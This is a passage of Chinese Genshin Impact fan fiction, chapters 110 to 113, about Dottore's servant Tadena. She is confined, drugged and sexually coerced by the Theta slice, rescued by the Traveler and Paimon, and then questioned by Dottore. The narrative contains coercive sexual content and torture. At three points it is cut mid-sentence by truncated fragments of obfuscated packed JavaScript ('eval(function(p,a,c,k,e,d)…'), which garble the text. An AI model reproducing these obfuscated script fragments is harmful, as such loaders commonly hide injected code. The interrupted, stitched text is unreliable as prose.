真是可笑,多托雷的切片,灵魂和多托雷那个家伙如出同源的切片,竟然会害怕被我贯穿报废的可能! 我为此感到不可理喻,甚至感到自己的理智在飞速瓦解。 Theta帮我摆好姿势,又从背面搂着我亲昵了一会儿,最后在离开前,甚至在我的身体里留下了一些特殊的东西。 那该死的,粗长的东西,在里面震动。 Theta这个恶趣味的家伙! 黑暗中,只剩下我痛苦的喘息。 我感觉自己的大脑都要崩坏了,只剩下一个想法。 多托雷!你造的什么破切片! 110.第 110 章 Theta是个疯子,一个比多托雷还难捉摸的疯子! 我不得不承认自己一开始就对要遭遇的后果产生了错判,以至于现在落入如此被动的境地,我原本的打算是顺计在Theta切片这里讨点轻松,结果却没有想到这次的Theta会这么疯。 【……】大概,其实我并不知道具体过去了多久的时间,只能从愈发松弛,难以支撑的身体肌肉,以及手腕上一遍遍加深,又在体内修复能力下无谓地一遍遍恢复一点的过程中模糊猜测。 恬不知耻的渴望。我在心中如此咒骂着,却绝望地发现自己根本无法拒绝心中强烈的悸动。 【……】 我恍惚之间听到开关按拨的声音。 很清脆,也很短暂,我耳鸣得要紧,差点以为是自己听错了。 但没有。有人悄无声息地靠近了我,皮革的触感落在我光裸的后背上。 我被刺激地颤抖了一下,抬起头追寻着那动作的来源,努力地扯动自己干涸的声带发出一点声音。 “主人……” 因为太久没有说话,又因为被折磨得太久,声音犹如掺杂着沙砾一样沙哑,而让自己发出声音的动作也让我感到痛苦。 背后的那人,悄然靠近的那人,我能感受到他的身份,只是被那熟悉的气息包裹的一瞬间,我就认出来那是Theta切片。 Theta温柔地抚摸着我的后脊,他的衣料贴近了我的身体,下一刻,【……】 “不要反应这么激烈,塔德纳。”Theta如此说着,一只手捞着我的肩窝摆正我的姿势,而另一只手…… 【……】 脸被人扶着轻柔地侧转过去,Theta抚着我的脸颊,低头将那点泪水啄吻走。 我感受到Theta微凉的唇瓣,他的动作很温柔,却也没有拒绝的余地,正如他一直以来的作风一样。 所谓的“温柔”只不过是用来瓦解我的防备,以此达到更接近我的目的的手段而已,而实际上,Theta与多托雷并无任何不同,甚至在某些时候,以“温柔”为面具伪装亲近我的Theta,偶尔表现出的粗暴更令我感到心惊。 就如同要验证我心中的想法,Theta捏住我的下颌,强硬地用力粗暴地让我张开嘴,将一枚药丸放进我的嘴里。我下意识地要吐出来,却被捏着抬头,Theta用手指抵着那药丸一直到口腔的最深处,强迫我咽下去。 异物的入侵让脆弱的喉管止不住地痉挛反呕,我被迫吞下那枚药丸,狼狈地咳嗽起来。 耳边,Theta的声音响起。 “从‘本体’那里拿来的一点小东西,放心,并不会对你的身体造成损害,只是会有点痛苦而已。说起来,你应该也对这东西很熟悉,实验室经常拿来惩罚不听话的实验体会用到的药物,含有一点精神迷惑的成分,但对你应该作用不大。” 他的语气是那样轻松,甚至一如既往地语调温柔,如同亲昵的对语。 而在听清Theta所说的那药丸的种类后,我又惊又怕,惶恐和后悔的情绪涌上心头。 Theta竟然要对我用那款药!即便是多托雷,对我的处罚也不会如此严苛。 Theta切片,他究竟想干什么?! 还是说,这件事,其实也有多托雷的授意?! 这样的思绪在脑海中疯狂滋长,然而很快,便因为身体里突然升腾而起的剧烈疼痛而被打断。灼烧感从腹部蔓延,随即是如同将四肢和胸腔的骨头折碎一般的疼痛,身体像是被巨石来回碾压。 我痛呼着,忍不住向Theta乞求。 “主人,好疼……呜,求求您,不要,不要用这样的方式……呜,好疼……” “这是必要的处罚,塔德纳,为了让你能够稍微弥补缺失的敬畏之心。”Theta轻叹,“‘我们’不会时刻控制你的思想和行动,但与之相对的,所有事情都有其要付出的代价。帮助西风骑士团,毁坏邪眼的实验室,甚至是,隐瞒‘我们’和神明的交易,未经允许妄图恢复记忆。所有的一切,塔德纳,你早就应该知道这一切暗中标注的价码才对。” 说到这,Theta又停顿了一下。 “当然,”他自然地接上自己的话,“我对‘是否要如此严格地惩罚你所为的这次不敬’之事也有所犹疑,但是,‘本体’似乎并没有轻易饶过你的打算。” 他像是嗟叹,亦像是在同情我可怜而凄惨的遭遇。 但他手上的动作却没有丝毫的停滞。他制住我因为疼痛而挣扎的身体,将一个冰冷的物体塞进我的嘴里,金属的圆柱体压上我的舌头,我慌乱地挣扎,扭头撞开Theta的手。 “不要……不要这个……” Theta,他甚至想封住我的口舌?!不,这绝不可以接受,绝不可以…… Theta顿住了。 “真是难办,你看起来有点应激,是因为药物的作用吗?”他如此说着,连那点温柔的语调都淡了一些。 “稍微听话一点,塔德纳。”他伸手抓住我后脑的头发,拽着让我抬头。 “我并不希望让你受到伤害。” 我咬牙,哽咽地道:“骗子……你在骗我。我要见主人……呜,让我去见主人……” Theta惊讶地反问:“我就在这里啊,你不用去找。” 他靠近我,似乎是想要抚摸我。我惊惧地以为他是又要把那东西塞进我的嘴里,吓得乱窜,慌乱之中撞到了什么,总之我听到Theta的闷哼声。 我愣住,一时间不敢再有任何动作。 尽管Theta并没有表现出丝毫的愤怒或是其他的情绪。 他只是轻笑了一声,伸手将我脑后的蒙眼的黑布解开。我颤巍巍地睁开眼,在有些刺眼的灯光里看到Theta。 那张熟悉的脸,并没有戴面具,于是机械的红色独眼转动着聚焦在我身上。 我恍惚之中甚至觉得自己听到了类似机器运转的电子声。 我忍不住为自己的这个想法打了个寒颤,一时之间生出逃离的想法。 Theta解开布条,又伸手将那吊着我的手铐解开,把我抱出笼子。 我没什么力气,那药物似乎是缓慢释放的类型,身子在刚开始忍受不了的痛苦后开始适应这样的强度,不至于让我失控。 手上的伤口开始迅速愈合。 Theta又不知道从哪里取了一块湿热的手帕,将我脸上狼狈的踪迹都擦去。 他的动作一如既往地温柔,那只机械的独眼即使看不出来任何属于人的情绪,却十分专注,一刻不停地落在我的身上,囊括我的所有情绪。 我呆楞着任由Theta将我擦干净。他甚至还将身上的大衣取下来盖在了我的身上。 等擦完脸,Theta又伸手想去抓我的手。 我下意识地将手缩回,避开Theta的动作。 Theta滞了一下。 “好吧,如果你不需要我帮忙擦干净手腕上的血的话。”他无奈地笑着,“是我忘记解开你的手铐和眼睛了,现在感觉好一点了吗?” 我抿了抿唇,避开Theta的视线。 骗子…… Theta等了一会儿,并没有等到我的任何回答。 【……】 “主人……”我撑着疼痛的身体跪在地上,放低身位蹭了蹭Theta的手背。 “我知道错了,主人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不只是反抗,甚至是害怕,懊悔,以及乞求的想法也都一起被沉入海底。 我想是被遗留在涨潮的夜间的沙滩上,任由潮水覆盖自己也生不出任何逃离的情绪。 Theta似乎并没有发现我的变化,或者说,他发现了,但并不在意。他举起手里的东西。 “张嘴,塔德纳。” 我听话地抬头,张嘴。 【……】 恶劣的骗子…… “我不会再栓住你的手腕了,但你依然不能离开这里。不要试图解开嘴里的东西,你不会想知道后果的,塔德纳。”Theta警告道。 “我会在两天后再来看你,在我解决完一些微不足道的小麻烦后。好好休息一下吧,塔德纳。” “……” 很难想象Theta到底是靠着怎样的没眼色才能在明知道我现在疼得连一点力气都没有,只能让自己跟一条风干的咸鱼一样干躺在地上的时候说出“好好休息”这种话来的。 Theta站起来,整理了一下衣服,才走到门边。他转头看了我一眼。 “需要我帮你把灯关上吗?太刺眼的灯光会睡不着。” 可喜可贺,Theta连正常人类的眼睛都没有竟然还知道“人类睡觉是需要关灯的”这种事情。 我眨了眨眼。 另一边,Theta懊恼地“哦”了一声。 “忘了,你现在没办法说话。既然这样,那我就帮你把灯关上吧。” 一声轻响,房间里顿时陷入伸手不见五指的黑暗。 我没听到Theta的脚步声。事实上,只要愿意,无论是Theta,还是多托雷,甚至是其他的大多数切片,都能够轻易地做到在不让我察觉的情况下接近我。 那门再次被关上,我听到了门落锁的声音,有些疲倦地闭上眼。 Theta的话没多少可信的。他一直在话语中有意无意地引导我对多托雷的猜疑和不满,但冷静下来细想,若是多托雷真的对我这次的所作所为愤怒非常,那么,他又真的会将我的处罚权如此大程度地让渡给Theta切片吗? 111.第 111 章 我躺在地上。逐渐模糊昏沉的意识反而让那身体里的疼痛钝化,变得好受了一些。 如果这就是用来惩罚不听话的实验体的药物的话,感觉多托雷竟然还莫名其妙地、破天荒地仁慈了一回。 我如此荒谬地在心里想着。 如Theta所言,他确实在那短暂的出现后有很长的时间再没出现,好在我并不需要进食,虽然一直被药物折磨着,但至少不会因此而丧失生命。 至于那强迫着让我服下的药物,也随着时间流逝药效开始消失。 等那痛意削弱成可以完全忽略,只剩下身体里残余的肿胀酸痛时,我因为之前的疼痛沉浮许久的意识才得到了一点可以完全安静下来的闲暇。 正当我准备稍微睡一会儿休息一下的时候,我恍惚之中听到什么坍塌的声音,甚至侧躺在地上,与地板亲密接触的我还感受到了地面的震动。 最开始还很轻微,像是幻觉,但很快,就变得剧烈。 我吓了一跳,还以为是发生地震了,脑袋空白地从地上蛄蛹起来,听到模模糊糊的声音不知从哪个方面传来。 “啊,旅行者小心!差点就被砸到了!” “躲这边,小心追兵追上来。” “呼呼,刚才好险啊,差点就被抓住了……这里,也是愚人众的驻地吗?好像都没什么愚人众士兵的样子……” 我听出外面那两道声音的从属,尽管很细微也很模糊,但从内容依然能很容易地知道外面的人似乎是旅行者和派蒙。 不过,旅行者和派蒙为什么会出现在这里?还有,外面到底发生什么事情了? “旅行者!快看,这里有一扇好奇怪的门。” “……好像是通向下面的,是地下室吗?” “啊……愚人众驻地的地下室,不会关着什么可怕的东西吧?比如什么,凶狠的魔物……” 被关押在地下室,“凶狠的魔物”本人的我:“……” 无论如何,这都是求救的最好的机会。 我在四周看了看,想要找到什么可以发出声音的东西提示外面的人,但地下室实在是太黑了,Theta走之前专门给我关上了灯。 对了,还有笼子! 我想起之前被关进去的那个只有半人高的狭小笼子,由不知名的金属制作而成,体积不算大,却出乎意料地沉重。 我撑着地面在地上摸索着,很快摸到一个冰凉的东西,两只手按着侧面,稍微蓄力,“哐”地一下把笼子掀翻在地。 因为笼子过于沉重,在掀翻到一半的时候甚至差点被惯性反推回来,但好在最终还是成功了。 笼子撞击地面发出巨大的声响。 “……什么声音?!旅行者,你听到了吗?” “嗯……好像,是从那扇门后面。” “里面不会是有人吧?!怎么办?要进去看看吗?可是这扇门被锁住了。” “派蒙稍微让开一点,我用剑劈开。” 铛—— 有什么金属被砍中发出的巨大声响,很快,急促的脚步声响起,越来越近,直到到了仅隔一扇门的时候,长剑再次劈上门锁,这次发出的声音更大,也更刺耳。 “成功了!好黑的房间啊,旅行者你有照明工具吗?” “我找找。” 我只稍微犹豫了一下就伸手到脑后将扣带迅速解开,口腔里面被放置了十几个小时的东西被终于抽离,我难受地咳嗽出来。 “咳咳……” “谁?!谁在里面?!啊啊,派蒙才不会怕你呢!藏头藏尾的算什么本事,有,有本事,就光明正大地一决高下啊!” 我想要止住那从嗓子眼冒出的细密的不适感,但撑开太久早已无法合拢的喉咙十分痛苦,甚至调动着口腔的肌肉想要收缩的动作也显得无比陌生。 我焦急地从喉咙里挤出一点干枯的声音。 “等,等一下,是我在这里……” “啊啊啊,里面的魔物说话了,旅行者救我——” “等等,派蒙……不要突然抓住我的衣服啊。” 声音太过嘶哑,甚至都没能被第一时间认出来是谁。 我忍不住叹了口气:“我是塔德纳。两位大人,请先不要这么慌张好吗?” “塔……塔德纳?真的是塔德纳吗?你有什么证据证明你是?” 其实开个灯看一眼脸就能认出来了。 我很想这么说,但现在很显然并不是被看见的好时机。 我扯了扯身上唯一能用来避体的,之前Theta小发善心留下的大衣,有些局促地收紧了领口。 “我可以证明。”我想了想,“派蒙大人最喜欢的食物是蜜酱胡萝卜煎肉,没有特别讨厌的食物。喜欢吃甜品,但有过不小心点多了甜品,所以把一份完整的草莓挞蛋糕偷偷换给了旅行者大人。” 派蒙:“天啊,你怎么连这个都知道!” “好啊,我说怎么上次明明记得甜品已经吃了一半了一转眼却又变完整了,原来是派蒙你干的!” “旅行者你先不要生气!”派蒙的声音变得慌乱,“对了,塔德纳为什么会出现在这里?这里是愚人众驻地吧?” 派蒙很慌张且明显地转移了话题。但很显然,效果显著。 在刚才半开玩笑一般地像派蒙证明“我就是塔德纳”时,我已经在脑海里拟定好了要如何瞒过这件事,于是声音变得沮丧低落下去,带上点轻微的,但又足以让人察觉到的颤抖。 “我……我是被抓到这里的。愚人众好像已经知道了我帮助你们的事情。” “是邪眼工厂的事情吗?竟然这么快?!” “我也不清楚是为什么。这里不方便说话,我们还是先出去吧。” 说到这里,我顿了一下,不免有些窘迫:“两位大人可以在外面稍等我一下吗?我现在的样子……可能不太方便示人。” “啊,噢噢,好的。那我和旅行者就在外面等你。” 派蒙虽然不懂,但还是选择了同意。 “对了,在两位大人离开之前,能够先给我一个照明的工具吗?”我有些艰难地开口。 事实上,除了面对多托雷,我很少,或者说几乎从不会有向他人请求帮助的时候,更别提是在这么狼狈的情况下。 难以启齿的羞燥飞速爬上脸颊,我感觉自己像是被放在火炉上炙烤的蚂蚁一样,烫得要抬不起头,发不出声。 旅行者那边沉默了一下,但很快,一个圆滚滚的东西被扔到我的面前。 在做完这一切后,旅行者的脚步声又渐渐变远,我这才稍微松了口气,摸着地面把地上的东西捡起来。 倒不是不想开房间的灯。一来我其实并不清楚灯的开关被具体设置在哪里,上次短暂的被解开眼罩可以视物的时候,我在房间里扫视了一圈,并没有找到开关在哪儿,想来应该是被Theta做了隐藏设计。 如果要找到开关并打开的话,就必须要站起来,披着仅堪避体的大衣在墙面上寻找,就算是找到了开关,那么亮的白光,刺得人几乎要失明,也并不利于我在黑暗中待了太久的眼睛。 更何况,与黑暗相伴太久,我现在甚至有点惧怕被那么刺眼的光照射了。 旅行者给我的小装置只需要推开下面的机关就可以发光,这是提瓦特最简单的,也最实用的便携照明装置,在冒险家协会相当受欢迎。 推开开关,昏黄的亮光散开,我闭了闭眼,过了一会儿才从刺眼的疼痛中稍微缓过来一点。 借着这灯光,我总算能够看清楚周围的状况。 这个小装置能够照亮一大半的整个房间。 我松了口气,开始翻找起房间里面的柜子,并在拉开的第二个抽屉顺利地发现了自己的衣物。 果然在这里。 我飞快地撇下身上的大衣,从里面把衣服拿出来抖落两下一件件穿上。 因为跟着来蒙德执行任务所以特意换上的丝绸的薄款上衣,制作于某个很有名但产出稀少,价格昂贵的制衣世家。 产自璃月的稀有衣料运往至冬,一年只有两个月的时间会开张接单,所以价格高到一般人根本无法接受。 我套进去一只袖子,闻到清洗过后被烘干熏香的味道。 那是以前多托雷还没开始对他自己的切片发疯时,Theta会给我用的味道。 我:“……” 把我关进来,早出晚归忙的要死只能抽空来地下室给我点惩罚,竟然还能抽出时间把清洗过程十分繁琐的高档定制衣服洗好烘干,然后趁着我不知道的时候叠好放进柜子里面吗? 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我叹了口气,说了一句:“跟我来。” 然后带着两人出了这座“危楼”。 执行官的住所,加上经历了一场爆炸,附近基本没有任何愚人众可能出现的地方。我找了个隐蔽一点的地方,从这个方向能够看到最大范围的情况,也方便随时逃走。 “就在这里吧。”我停下来,即使是身体里有着堪称万能的修复能量,尚处在虚弱期的身体也开始发出抗议。 派蒙担忧地看着我:“塔德纳你的脸色好惨白……啊,你的手,怎么那么多血,是受伤了吗?” 随着派蒙的惊呼,旅行者也担心地看过来。 我低头,看见手腕上干涸的血迹。 “没事。”我扯了扯衣袖,把手腕上恐怖的血迹遮住,“早就已经愈合了,只是看着吓人而已。” 不提还好,一提就会想起自己被吊起来,手腕被一遍遍割开,无法愈合的疼痛。 我将控制不住开始轻微颤抖的手腕藏在身后,露出平常的笑容。 “还要感谢两位大人救我,不然我恐怕要不知道什么时候才能出去了。” “塔德纳……”派蒙摇了摇头,“那些愚人众竟然这么残忍地对你,实在是太坏了!可恶的愚人众!” 我本意是为了让旅行者和派蒙不要太担心我的伤,但似乎,传递的意思发生了偏转。 愚人众本众的我:“……” 旅行者也皱紧了眉:“我们昨天收到了愚人众正在调查之前邪眼工厂毁坏的事情,有一些人已经失踪了,他们大部分都曾经听命于愚人众分发邪眼。本来想提醒你注意安全,但却一直没联系到你。” 那双金色的眼睛映射进我的视野里,带着浓厚的担心和歉意。 “对不起,这么晚才救到你。” 我:“……” 我长了张嘴,却发现自己说不出话来。地下室几秒之间就能够构思出无数个逻辑合理的谎话和应对方式的大脑停止了运作,甚至连之前构想好的说辞都烟消云散。 真是要命…… 我现在,最应该做的,是要说谎谋取眼前两个人的信任才对。 绝佳的机会,没有比此刻更能利用来消除在旅行者眼中我和愚人众关联的机会,不是吗? 我颤抖地呼出一口气,背后的双手抖动更甚。 112.第 112 章 一般而言,愚人众并不会对这位来自异乡的旅人进行什么带有伤害性的举措,即便,这位旅人奇瑰而特别的冒险真的在某种程度上冒犯了愚人众的行动,甚至是直接敌对。 对了,“敌对关系”。 想必在经历过愚人众在蒙德先是对其国家的神明出手,随即一刻不停地在蒙德散布邪眼的计划后,即便是再宽厚的人,也无法对愚人众产生任何的好感。 唯有敌对和警惕。 无论如何,旅行者和派蒙相信了我的说辞,愿意相信我只是因为“参与破坏邪眼工厂”一事而被愚人众抓住的不幸之人,甚至还被折磨挫折了一番。 那手腕上干涸的血迹便是证据。 虽然事实其实与他们所想的大相径庭,我确实也是因为“邪眼工厂”的事情被关到这里,也确实是受到了一轮难捱的磨难。 但我也着实说不上完全无辜。 协助“邪眼工厂”一事的由衷只是因为要以此换取神明的回报。而现在,和旅行者、派蒙面对面时,那点在长久的岁月中要被销蚀殆尽的愧疚感和说谎的羞耻感让我感到难堪。 被别人真诚地担心和完全地相信,而我却在以卑劣的谎言粉饰自己的身份和出发点。 这样的事实,让我想要即刻从旅行者和派蒙的身边逃离。 灰溜溜地,夹着尾巴地,如同昏暗水沟过行的老鼠。 事实上,我也确实逃离了。 随意找了一个理由,拒绝了和旅行者一同回到蒙德在西风教堂检查一下身体的提议,也拒绝了旅行者所说的到西风骑士团寻求庇护和帮助的想法。 我是一个在偷偷摸摸吸取一点来自别人的善意和好意的劣者,我的本身和行为其实并不值得淋受这样的恩惠。 我是在偷窃。偷窃本来属于另一个的,真正的,值得的,善的“自我”该受的好。 我为此感到疲惫,急于回到自己熟悉的地方,阴暗的栖息地,晦暗多变的暴君身边。 那才是我应归之地。 当然,也有Theta切片的驻地被毁,我既然阴差阳错地出来了,想必多托雷必然也时刻掌握着我这边的动态。 赶快去见他。这是我唯一该执行的命令。 于是我回到了实验室。靠着愚人众留下的内部信号,我顺利地找到了一些散落的愚人众驻扎部队,并用自己的身份得知了愚人众目前的情况。 幸好,即便并不是每个愚人众都知道我的外貌和身份,储物袋里也有足够的东西显露我的身份。 那些士兵看起来很惊讶,或许是没想到我这样的人物会突然出现在这里。 出现在被突如其来的变故打散的愚人众部队之中。 执行官的副官。那样高高在上的身份,理应时刻陪侍在尊贵的执行官身边才对。 我对这样的反应只是轻轻笑了一下。 看来,多托雷还不至于会将我的事情宣扬出去。 毕竟,我和他的绑定已经足够深厚,而若是我哪天做了“坏事”,并被大肆宣扬出去,多托雷的威望也会大有损伤。 多托雷大概会后悔吧,对这样的情况。 如今的我,已经说得上是和他“一荣俱荣,一损俱损”的关系,就算真的哪天我决定“反水”,多托雷也只能关上门同我计较。 我在愚人众的残部处得知了一点如今的情况。 突然执行的对“有罪之人”的围剿,结果却遭遇了不明的袭击和爆炸,伤亡惨重,而在等待上面进一步的指令的时候,不少士兵因为余波的爆炸而分散。 “我们在分散后接到了内部的暗信,让我们往这边追捕两个人。不要打草惊蛇,尽量活捉,完成后再放信前往集结地。” “‘追捕’?让你们追捕谁?” “没有说具体的名字,只说是一个带着白色宠物的金发怪人。” 是旅行者和派蒙。 我沉吟:“那暗信呢?是哪位大人发出的?” “不知道……” “‘不知道’?事先确认一下,你知道愚弄我的代价吧?” “我哪敢愚弄您啊,大人。”士兵露出惶恐的表情,似乎是为了证明他的清白,他绞尽脑汁想了想,才从贴身的内里口袋掏了掏,翻出一张皱皱巴巴的纸条。 好像还是湿哒哒的,带着汗味。 我忍不住皱了皱眉,后退半步。 士兵一脸无辜地张大眼睛看着我,似乎是想凭借真诚的眼神打动我。 好吧,我必须要承认至少“多托雷不会出汗”这一点是很打动我的。 如果多托雷也一身臭汗地来找我……画面太美,难以想象。但我肯定会拒绝靠近他。 与一身汗味的运动款多托雷比起来,阴晴不定、残酷无情、冷血残暴、热衷于人体实验和自己不能被世俗接受的惊世骇俗理论的疯狂学者都显得能让人忍受了。 我纠结了一下,在心里重复了三遍大局为重!大局为重!大局为重! 然后挫败地扶额。 “抱歉……你能为我展开一下内容面吗?” 士兵不好意思地挠了挠头。他似乎也明白我的犹疑,表情变得羞赦。 好在,也只是羞赦。我这样失礼的请求最终还是被接纳或者容忍了。 他为我展开了那张被主人随手揉藏在胸前口袋里,经历汗水浸湿的纸条。 内容与士兵所述无差,最右下角也确实有一枚标识,那是愚人众的内部通信标志。 但没有署名。 这并不寻常。 这太不寻常了。即使是多托雷治下并不严苛死板,但这样漏洞百出的暗信也绝不应该出现。 倒像是……被故意写成这样,等待着被某个人发现。 我从士兵手里抽出那张纸条。 士兵惊诧地发出一声“啊”。 “等等,副官大人……那个纸条还没干,上面都是……” 不劳提醒,只是堪堪指尖接触到皱皱巴巴的纸面就能感受到那上面汗水的濡湿。 我不着痕迹地皱了皱眉,极力压抑想要扔掉手里东西的欲望。 “……你先离开吧,这里没你事儿了。”我努力挤出一点好脾气。 “诶,好。”士兵不自在地扯了扯衣角,“那个,我这里有毛巾,只不过是自用的,您如果不嫌弃的话……” “多谢。不用了。” 说不嫌弃肯定是假的,我宁愿之后从储物袋翻翻看自己有没有带水系邪眼。 一直等到士兵离开,我还能感知到不远处那群暂时停留此地休息的愚人众士兵的眼神。他们正在打量着我,或许是对传闻中的“【博士】大人的副官”很感兴趣。 这样的目光和打量,我已接受到过不知道多少次。 我稍微感觉有些不自在,拿着纸条匆匆找了个背人的角落。 等到了角落,我才将那张纸条展开,想了想,将纸条翻过来对准太阳。 刺眼的光线映照出纸条背面的几个字。 一笔带过的“Theta”,像是被人随手蘸取一点墨水,不经意地写下。 我下意识地捏紧纸条,心中惶惶。 Theta切片?!他不是说要去解决什么事情吗?怎么会留下这个暗信?爆炸和突然袭击的愚人众的意外,会是他的手笔吗? 可是,为什么? 我心乱如麻,一时间看见那被照映出来的龙飞凤舞的名字甚至感觉到了点心慌和烦躁。 Theta切片,也算准了我会被“救出来”,然后在此刻发现他留下来的暗信吗? 什么信息也没有,就一个名字。除了想看我惊慌失措的恶趣味外,我想不出Theta这么做的原因。 我攥紧了手里的纸条,沉默着,大脑里在飞速整合着所有的信息: Theta突如其来的到访蒙德,他和多托雷的合作,对我说的那些莫名其妙的话,突然又反悔的承诺,以及将我关在地下室的惩罚…… 反常的事,不合理的事,在这样短促的一段时间内集中地出现在了Theta的身上。 Theta必然是在筹谋着什么。 我能如此笃定,凭借着我对Theta的了解。但更多的,我也想不明白了。 果然,还是要找到多托雷。 我将手里的纸条随手烧掉,又在附近找到了一个湖泊洗了洗手,告诉这里的愚人众残部听候命令安排之后,最终在意识到线索完全断绝后妥协地选择了用耳坠联络多托雷。 是的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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短暂的两下,作为礼节性的告知,然后转动把手推开门。 “主人,我回来了。” 我低着头,不敢去抬头对视,只能在进来的一瞬间用余光瞟到站立在办公桌前的高大身影。 我战战兢兢地等待着多托雷的回复,脑海中胡思乱想着多托雷会先计较我的哪件事,如果是问责我邪眼工厂的那件事的话,我该怎么回复。 但多托雷只沉声说了一句话。 他说: “Theta切片失踪了。你有什么头绪吗?” “啊?” 我愣愣地抬起头,大脑因为巨大的信息量而宕机。 “失踪?怎么可能……Theta大人身上不是也应该有,那个耳坠的监控……” “问题就在这里。大概17个小时前,Theta身上的发信在闪烁四次后彻底停止。一般来讲,这样的情况意味着切片死亡,但我再试图切入Theta的装置时却没能成功。即使荒谬,如今也不得不相信,Theta切片应该是用某种方法切断了和我的联系,主动离开了。” “但是,为什么……” “是啊,为什么呢。这也是我在思考的问题。”多托雷走过来,高大的影子压到我身上。 他伸手,卡着我的下颌,手指的力度让我疼得从思绪和惊惶里跳出。 “呜……主人?” 多托雷没有丝毫放轻力度的打算。 “Theta的信号消失前的定位,和你的位置几乎重合。或许,对于‘Theta无端失踪’的事情,你应该有更多的想法?塔德纳?” 多托雷慢悠悠地唤出我的名字。 我只感受到被猜忌和不信任的冰冷。 我压下心中的恐惧。 “但是,主人明明可以用我身上的耳坠……呜……” 多托雷粗暴地掐断我后面的话。此刻,在Theta切片突然失踪、了无音讯后的整整十七个小时后,多托雷压抑的怒火似乎开始有失控的趋势。 “确实,本来是可以的。”多托雷阴冷地笑出来,“前提是,你的耳坠没有被动过手脚。我在回复完你的通讯后发出给你的命令,你并没有收到,对吧?” 我蓦然冒出一身冷汗。 113.第 113 章 多托雷并不是一个脾气很好的人。 不,应该说是远远算不上,甚至是与这样的形容词完全背道而驰。 残忍冷漠的科研疯子,悖违人伦的疯狂实验者。 看着近在咫尺的多托雷,我的心中密密麻麻地蔓延起一股恐惧。比往日的任何一次都要更甚,犹如掉入深邃昏暗的冰涧。 如果…… 可以离开就好了。 这样的想法犹如一道闪电在我的脑海里劈过。 连Theta切片都能从多托雷身边离开的话。 连与多托雷同出一源,作为切片的Theta都能离开的话…… “你在想什么?塔德纳。” “啊……抱,抱歉……主人。”我从思绪里面被甩出来。 “我,我也不知道这件事……我真的,不知道,主人,Theta,Theta他……” 我不敢去看多托雷,我害怕被多托雷察觉到我那心中违逆的想法,害怕被发现所谓的“不忠”,害怕多托雷的愤怒降临于我的身上。 我开始控制不住地颤抖,犹如突然失控的机械玩具。最后,我崩溃地撞开多托雷的手,抱着头蹲在地上。 “对不起,主人……我真的不知道,真的不知道这些……求求您,不要对我生气……呜……都是Theta,是Theta做的……” 头顶落下重重的抚按。 “Theta Build在与你重叠的位置标记消失,而在那之后便发生了动乱,你也恰好被‘放’了出来。耳坠虽然被破坏了大部分的功能,却唯独留下了通讯功能和仅供最后一次通讯的能量。呵……” 多托雷冷笑了一声。 我抖得更厉害。 “当然,这都只是猜测而已。”多托雷的话锋突然一转,那愤怒又如同烟雾一般消散。 连带着,那落在我头顶的手掌动作也变得轻柔。 “Theta切片在筹谋着什么,或许是为了那可笑的‘自由个体’的坚持,亦或者,是什么其他的,但总归,无论他离开的原因究竟是什么,他的目的不会被实现的。一个离开了本源的复制品……不,不不,甚至连复制品也算不上,那样残破的,不完善的构成,竟然也妄想同本体一般生活。” “我需要你告诉我所有你知道的东西,塔德纳。有关Theta切片的所有事情,他对你说过的话,做过的事,当然,最重要的,还有你被他囚禁的这些天究竟发生了什么。若急于证明你的‘清白’的话,你知道该如何做,塔德纳。” 我颤颤巍巍地跪在地上,应道:“是,主人。” 然后向多托雷详尽地讲述了Theta切片对我做的一切。 歌德大酒店与旅行者的偶遇,在酒店走廊被引诱的话语,离开面包房那些犹如诳语的爱语,山坡的会面,被带到地下室,每次行迹匆匆只停留一小段时间的“惩罚”,到,那张被留下的奇怪的暗信。 多托雷只是听着,并未发表一言一语。在我说完之后,他若有所思,大发慈悲地挥手放走了我。 如此,便结束了。 结束…… 希望真的是结束吧。 因为Theta切片失踪的事情,多托雷最近很明显的脾气变差了些许。当然,这或许也可以当成多托雷只是最近疲于分出精力来遮掩自己的情绪而已。 他本来就不是什么脾气很好的人。 实验室的气氛最近变得更加低沉且紧张了。我回来后便日日不安于多托雷何时会开始清算我之前的“叛变”的行为,思绪恍惚,除非是多托雷下令找我,非必要我不会选择靠近多托雷所在的地方。 说到这件事,倒也有一些下面的人向从我这个“备受执行官大人宠信的副官”这里获得一点多托雷以及让执行官如此震怒的缘由是什么的细节。 我只是看了一眼前来询问的人,在脑海中将这人的姓名和面容对上,含糊其辞地进行了一番敷衍安抚。 我如今并拿不准多托雷的打算。 他对Theta切片叛离的事情到底是什么想法?他会找回Theta切片吗?他还能够操控Theta切片吗? 总之,尚且不论Theta切片究竟是通过如何神乎其神的、如同魔术技巧的手法逃脱多托雷的控制。对于我,以上的种种,都一概不知。 紧绷的气氛持续了大半周,很快,便快要到返回至冬的日子了。 从蒙德离开需要向西风骑士团取得通行许可和报备,虽然以愚人众的实力,忽略这个步骤也并无不可,但这件差事既落到了我的头上,我便选择走一趟。 也当做是好不容易可以稍微离开多托雷控制范围一点透透气的机会…… “愣着干什么?塔德纳。”门口,不知道何时从他那实验室钻出来,顺带还换了一身衣服的多托雷靠墙看着我。 我看着多托雷身上那件很少会被穿上的、被我临出差蒙德之前随手塞进箱子里带过来的衣服。如果不是多托雷今日穿上了,就连我自己都要忘记这件衣服也随着我们的队伍来到了蒙德。 真难想象多托雷到底是从哪里把这件衣服翻出来的。 他不会自己去翻行李箱了吧? 看样子甚至还在穿之前熨烫了一遍。我飞快地扫过多托雷身上的细节,只在临近袖口的位置看到一点未被照顾到的细微褶皱。 多托雷察觉到了我的眼神,疑惑地看着我。 我低下头:“没有……主人,您不是最近很忙吗?只是去西风骑士团这种小事的话,犯不着浪费您的时间。” “看起来你似乎不太想与我一同前往?” “不是……”其实确实不太想。 多托雷轻笑了一声。他的手指落在自己的另一只袖口上,似是无意地一遍遍捋平着那道褶皱。 “不用多想。只是今天比较有空。” 